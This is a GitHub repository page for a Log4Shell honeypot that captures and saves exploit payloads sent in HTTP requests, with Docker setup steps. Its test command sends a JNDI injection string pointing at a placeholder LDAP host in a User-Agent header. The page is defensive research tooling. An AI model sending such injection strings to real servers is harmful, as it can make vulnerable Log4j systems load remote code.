Skip to content

Log4j honeypot to capture payloads within HTTP headers, query parameters and POST requests.

Notifications You must be signed in to change notification settings

sysgoblin/log4shell-honeypot

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

10 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

log4shell-honeypot

Catch and download log4shell payloads sent within HTTP headers, query parameters or POST data. Modified version of Adikso's minecraft honeypot

Setup

  1. git clone $repo
  2. docker-compose up
  3. Send payloads within a http header to $dockerip:$port

To add additional honeypots on different ports, copy and paste an existing service within docker-compose.yml, changing the service name, and alter the ports within ports and command.

curl --user-agent '${jndi:ldap://lmao.com:1389/a}' http://localhost:80

Payloads are saved within payloads/

Logs are printed to the screen by default, but can be retreived with docker inspect. e.g:

docker inspect --format='{{.LogPath}}' log4shell-honeypot_http_1 | xargs cat

About

Log4j honeypot to capture payloads within HTTP headers, query parameters and POST requests.

Topics

Resources

Stars

Watchers

Forks